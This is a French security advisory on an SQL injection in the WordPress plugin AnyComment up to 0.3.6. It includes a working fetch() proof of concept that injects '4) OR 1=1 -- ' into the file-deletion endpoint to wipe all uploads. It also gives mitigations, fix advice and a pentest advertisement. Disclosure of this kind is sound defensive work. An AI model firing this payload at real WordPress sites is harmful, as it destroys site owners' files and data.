AnyComment <= 0.3.6: SQL Injection permettant la suppression massive de fichiers
Le plugin WordPress AnyComment jusqu'à la version 0.3.6 est vulnérable à une injection SQL dans l'endpoint de suppression de fichiers. Un abonné peut supprimer massivement les fichiers uploadés.
AnyComment <= 0.3.6: SQL Injection permettant la suppression massive de fichiers
> Découverte par Rooting Studio — Patch en attente — Priorité: élevée
Résumé
- Logiciel: AnyComment (plugin WordPress)
- Version vulnérable: <= 0.3.6
- Gravité: Haute (CVSS suggéré 8.5)
- Type: Injection SQL (OWASP Top 10 — A03: Injection)
- Privilèges requis: Abonné
- Impact: Suppression massive des fichiers uploadés (disque + base)
Description technique
L'endpoint de suppression de fichiers interpole directement le paramètre id dans une clause SQL IN (...) sans préparation ni cast. Un abonné peut injecter une tautologie dans la liste IN pour sélectionner toutes les lignes de la table des uploads et déclencher la suppression de fichiers (et miniatures) côté disque ainsi que des métadonnées associées.
Reproduction (PoC texte)
Prérequis: plugin actif; une page AnyComment expose anyCommentApiSettings.nonce; compte Abonné.
fetch("http://VOTRE_SITE/index.php/wp-json/anycomment/v1/documents/delete", {
method: "POST",
credentials: "same-origin",
headers: {
"X-WP-Nonce": anyCommentApiSettings.nonce,
"Content-Type": "application/json"
},
body: JSON.stringify({ id: "4) OR 1=1 -- " }) // Remplacer 4 par un file_id réel
}).then(async r => { const t = await r.text(); try { console.log(r.status, JSON.parse(t)); } catch { console.log(r.status, t); } });Résultat attendu: l'API renvoie un succès. Toutes les lignes de la table des uploads sont sélectionnées; chaque fichier (et miniature) est supprimé du disque, les méta de commentaires nettoyées, et les lignes DB supprimées.
Impact
- Impact d'intégrité élevé: suppression arbitraire de fichiers uploadés et métadonnées par un Abonné.
- Pas d'interaction utilisateur supplémentaire au-delà de la requête authentifiée.
Évaluation CVSS v3.1 (proposée)
- Vecteur: AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
- Score de base ≈ 6.5–8.5 selon interprétation
Mitigation immédiate
- Désactiver le plugin AnyComment ou restreindre son utilisation aux rôles de confiance.
- Mettre en place des sauvegardes et restaurations testées.
- Surveiller les endpoints REST et les suppressions massives.
Correctif recommandé (pour l’éditeur)
- Utiliser des requêtes préparées avec placeholders.
- Caster et valider
id(entier) avant requête. - Vérifier les autorisations côté serveur pour la suppression.
Contexte et conformité
À partir du T4 2024, le Cyber Resilience Act (CRA) introduit des obligations de divulgation des vulnérabilités dans l'UE. Les éditeurs doivent disposer d’un processus de VDP.
—
Besoin d’évaluer la sécurité de votre application WordPress/Headless ? Découvrez notre **pentest web** (OWASP, rapports actionnables, re‑tests inclus).
Articles similaires
Shortcode Redirect <= 1.0.02: XSS stockée via le paramètre sec
Le plugin WordPress Shortcode Redirect jusqu'à la version 1.0.02 est vulnérable à une XSS stockée via le paramètre 'sec' du shortcode [redirect]. Corrigé en 1.0.03.
Gestion d'incidents cybersécurité : Guide complet pour PME
Découvrez comment gérer efficacement les incidents de cybersécurité. Guide pratique avec procédures, checklists et bonnes pratiques pour les PME.